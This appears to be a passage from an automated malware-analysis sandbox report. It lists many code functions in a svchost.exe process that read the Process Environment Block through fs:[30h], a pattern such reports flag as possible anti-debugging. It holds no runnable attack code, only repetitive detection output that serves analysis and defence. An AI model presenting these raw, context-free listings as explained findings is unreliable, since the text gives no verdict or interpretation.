Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB930B mov eax, dword ptr fs:[00000030h]	6_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6A30B mov eax, dword ptr fs:[00000030h]	6_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6A30B mov eax, dword ptr fs:[00000030h]	6_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6A30B mov eax, dword ptr fs:[00000030h]	6_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	6_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A50310 mov ecx, dword ptr fs:[00000030h]	6_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF367 mov eax, dword ptr fs:[00000030h]	6_2_03AEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AD437C mov eax, dword ptr fs:[00000030h]	6_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A37370 mov eax, dword ptr fs:[00000030h]	6_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A37370 mov eax, dword ptr fs:[00000030h]	6_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A37370 mov eax, dword ptr fs:[00000030h]	6_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB2349 mov eax, dword ptr fs:[00000030h]	6_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D34C mov eax, dword ptr fs:[00000030h]	6_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D34C mov eax, dword ptr fs:[00000030h]	6_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05341 mov eax, dword ptr fs:[00000030h]	6_2_03B05341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29353 mov eax, dword ptr fs:[00000030h]	6_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29353 mov eax, dword ptr fs:[00000030h]	6_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov eax, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov eax, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov eax, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov ecx, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov eax, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB035C mov eax, dword ptr fs:[00000030h]	6_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFA352 mov eax, dword ptr fs:[00000030h]	6_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A402A0 mov eax, dword ptr fs:[00000030h]	6_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A402A0 mov eax, dword ptr fs:[00000030h]	6_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A452A0 mov eax, dword ptr fs:[00000030h]	6_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A452A0 mov eax, dword ptr fs:[00000030h]	6_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A452A0 mov eax, dword ptr fs:[00000030h]	6_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A452A0 mov eax, dword ptr fs:[00000030h]	6_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	6_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	6_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	6_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	6_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	6_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB92BC mov eax, dword ptr fs:[00000030h]	6_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB92BC mov eax, dword ptr fs:[00000030h]	6_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	6_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	6_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6E284 mov eax, dword ptr fs:[00000030h]	6_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6E284 mov eax, dword ptr fs:[00000030h]	6_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB0283 mov eax, dword ptr fs:[00000030h]	6_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB0283 mov eax, dword ptr fs:[00000030h]	6_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB0283 mov eax, dword ptr fs:[00000030h]	6_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05283 mov eax, dword ptr fs:[00000030h]	6_2_03B05283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6329E mov eax, dword ptr fs:[00000030h]	6_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6329E mov eax, dword ptr fs:[00000030h]	6_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE12ED mov eax, dword ptr fs:[00000030h]	6_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A402E1 mov eax, dword ptr fs:[00000030h]	6_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A402E1 mov eax, dword ptr fs:[00000030h]	6_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A402E1 mov eax, dword ptr fs:[00000030h]	6_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B052E2 mov eax, dword ptr fs:[00000030h]	6_2_03B052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF2F8 mov eax, dword ptr fs:[00000030h]	6_2_03AEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A292FF mov eax, dword ptr fs:[00000030h]	6_2_03A292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	6_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	6_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	6_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	6_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	6_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	6_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A392C5 mov eax, dword ptr fs:[00000030h]	6_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A392C5 mov eax, dword ptr fs:[00000030h]	6_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	6_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	6_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	6_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	6_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	6_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05227 mov eax, dword ptr fs:[00000030h]	6_2_03B05227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2823B mov eax, dword ptr fs:[00000030h]	6_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A67208 mov eax, dword ptr fs:[00000030h]	6_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A67208 mov eax, dword ptr fs:[00000030h]	6_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A34260 mov eax, dword ptr fs:[00000030h]	6_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A34260 mov eax, dword ptr fs:[00000030h]	6_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A34260 mov eax, dword ptr fs:[00000030h]	6_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFD26B mov eax, dword ptr fs:[00000030h]	6_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AFD26B mov eax, dword ptr fs:[00000030h]	6_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2826B mov eax, dword ptr fs:[00000030h]	6_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A59274 mov eax, dword ptr fs:[00000030h]	6_2_03A59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A71270 mov eax, dword ptr fs:[00000030h]	6_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A71270 mov eax, dword ptr fs:[00000030h]	6_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE0274 mov eax, dword ptr fs:[00000030h]	6_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29240 mov eax, dword ptr fs:[00000030h]	6_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29240 mov eax, dword ptr fs:[00000030h]	6_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB8243 mov eax, dword ptr fs:[00000030h]	6_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB8243 mov ecx, dword ptr fs:[00000030h]	6_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6724D mov eax, dword ptr fs:[00000030h]	6_2_03A6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A250 mov eax, dword ptr fs:[00000030h]	6_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEB256 mov eax, dword ptr fs:[00000030h]	6_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEB256 mov eax, dword ptr fs:[00000030h]	6_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A36259 mov eax, dword ptr fs:[00000030h]	6_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABD250 mov ecx, dword ptr fs:[00000030h]	6_2_03ABD250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	6_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	6_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	6_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	6_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4B1B0 mov eax, dword ptr fs:[00000030h]	6_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A70185 mov eax, dword ptr fs:[00000030h]	6_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEC188 mov eax, dword ptr fs:[00000030h]	6_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEC188 mov eax, dword ptr fs:[00000030h]	6_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB019F mov eax, dword ptr fs:[00000030h]	6_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB019F mov eax, dword ptr fs:[00000030h]	6_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB019F mov eax, dword ptr fs:[00000030h]	6_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB019F mov eax, dword ptr fs:[00000030h]	6_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A197 mov eax, dword ptr fs:[00000030h]	6_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A197 mov eax, dword ptr fs:[00000030h]	6_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A197 mov eax, dword ptr fs:[00000030h]	6_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A87190 mov eax, dword ptr fs:[00000030h]	6_2_03A87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A551EF mov eax, dword ptr fs:[00000030h]	6_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A351ED mov eax, dword ptr fs:[00000030h]	6_2_03A351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AD71F9 mov esi, dword ptr fs:[00000030h]	6_2_03AD71F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B061E5 mov eax, dword ptr fs:[00000030h]	6_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A601F8 mov eax, dword ptr fs:[00000030h]	6_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	6_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	6_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6D1D0 mov eax, dword ptr fs:[00000030h]	6_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6D1D0 mov ecx, dword ptr fs:[00000030h]	6_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	6_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	6_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	6_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	6_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	6_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B051CB mov eax, dword ptr fs:[00000030h]	6_2_03B051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A60124 mov eax, dword ptr fs:[00000030h]	6_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A31131 mov eax, dword ptr fs:[00000030h]	6_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A31131 mov eax, dword ptr fs:[00000030h]	6_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B136 mov eax, dword ptr fs:[00000030h]	6_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B136 mov eax, dword ptr fs:[00000030h]	6_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B136 mov eax, dword ptr fs:[00000030h]	6_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B136 mov eax, dword ptr fs:[00000030h]	6_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	6_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADA118 mov eax, dword ptr fs:[00000030h]	6_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADA118 mov eax, dword ptr fs:[00000030h]	6_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ADA118 mov eax, dword ptr fs:[00000030h]	6_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF0115 mov eax, dword ptr fs:[00000030h]	6_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
